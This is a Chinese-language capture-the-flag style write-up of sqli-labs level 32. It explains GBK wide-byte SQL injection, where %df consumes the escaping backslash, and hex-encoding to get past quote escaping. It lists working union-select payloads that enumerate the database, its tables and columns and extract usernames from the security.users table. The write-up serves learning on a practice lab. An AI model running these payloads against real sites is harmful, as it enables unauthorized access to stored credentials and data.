这里以sqli-lib-32关为例
mysql默认是GBK编码,BGK汉字编码,两个字节代表一个汉字,一个字节代表一个英文或者数字
那么,两个字节就是宽字节,一个字节就是窄字节
mysql默认使用BGK编码,当mysql使用bgk编码时,会认为两个字符是一个汉字,(前一个ASCII码要大于128,才会得到汉字范围),这就是mysql的特性,因为BGK是多字节编码,它认为两个字节是一个汉字,我们在代入参数时,代入 %df%27,%27 是 单引号 的url编码
# 当 我们进行 SQL注入时,会进行一下操作
(1)?id=1' and 1=1%23
# 这是正常的语句,我们不放使用SQL语句看一下
select * from user where id='1' and 1=1#'
# 当php使用函数对接受的参数做了处理后,将单引号转义,在单引号前面加上了 转义符“\"
在sql中的语句是:
select * from user where id='1\' and 1=1#'
# 这时代入数据库查看,这是明显没有注入成功的,因为前面的单引号没有闭合
(2) 当我们代入了 %df 时,在数据库中就变成了
?id=1%DF' and 1=1%23
这时,转义函数,还会对我们输入的单引号进行转义,转义成(\'),而"\"的url编码为 %5C
在url中就变成了:%DF%5c%27
当编码为bgk时,%5c会和前面的%df拼合,形成一个汉字(運)
从而闭合掉了后面的引号,查询成功
最后的sql语句是:
select * from user where id='1運' and 1=1#'
mysql使用了BGK编码
php对传入的参数进行了转义
# 首先了解PHP函数
mysql_real_escape_string()
mysql_escape_string()
addslashes()
magic_quotes_gpc()
正常页面:
测试注入点
输入单引号测试注入点
?id=1'
发现把单引号给我们注释掉了
单引号被注释掉了,这是我们思路应该是,使用编码绕过,或者宽字节
首先试用编码绕过吧!! 毕竟刚开始学习,多走些弯路,总结经验,还是好的!!
发现并没有什么用,1=1 的时候 还是报错
开始使用宽字节注入:
?id=1%DF'
输入%DF页面报错,
现在的sql语句是
select * from user where id='1%df\''
select * from user where id='1%df%5c''
最后带入查询的是:
select * from user where id='1運''
这里为什么还会报错呢?把%5c吃掉了,不应该查询出id=1的结果了吗?
因为,我们php页面中是这样的
$id = $_GET[id];
$sql = "select 8 from user where id='.$id."'"";
我们带入的地方后面还有个单引号,所以我们要注释掉后面的单引号,才会使我们输入的单引号,与前面的闭合掉
注释掉后面的单引号后:
?id=1%df'%23
成功查出了id是1的数据
测试等于3的时候,页面回显正常,说名有3个字段
?id=1%df' order by 3%23
此时我们看到,SQL查询结果是有回显的,所以我们使用联合注入法 union select
# 联合注入法:
就是使用系统关键字 union 拼接上 自己的 select 语句,后面的select得到的结果拼接到前面的select后面,
例如:
前面的select得到两条记录,后面的select得到1条记录,那么后面的select的数据将作为第3条数据拼接到第一个select结果后面,其字段名按照 位置关系继承
# 联合注入法注意事项:
(1)若回显只支持一行,要让前面的语句返回为空,id=-1 或者 id=1' and 1=2,总之让 union 前面的为假值
(2)使用union select进行查询时,注意前后两个select返回的字段数必须相同,否则无法拼接
# payload
?id=-1%df' union select 1,2,3%23
回显位是2和3
?id=-1%df' union select 1,group_concat(database()),3%23
?id=-1%df' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema="security"%23
这里为什么会报错呢?
还记得,转义函数吗?这里双引号也转义,在双引号前面添加了反斜杠进行转义,这里我们就要绕过
采用十六进制编码绕过
双引号十六进制:security的十六进制为:0x7365637572697479
注意:写16进制时,不使用双引号,双引号也不转十六进制,直接把数据库名转换成16进制即可
# payload
?id=-1%df' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=0x7365637572697479%23
查出表名
# 同理,表名转十六进制绕过
users:十六进制 0x7573657273
# 这里环境中存在多个users表,所以我编码中指定了数据库的名
#正常 payload
?id=-1%df' union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x7573657273%23
# 此处 payload
?id=-1%df' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=0x7365637572697479 and table_name=0x7573657273%23
?id=-1%df' union select 1,group_concat(id,username,passowrd),3 from secutity.users%23
发现报错,原因是使用了mysql_fetch_array()函数,此函数,只能返回一行数据
所以我们每次查看一个字段
?id=-1%df' union select 1,group_concat(username),3 from security.users%23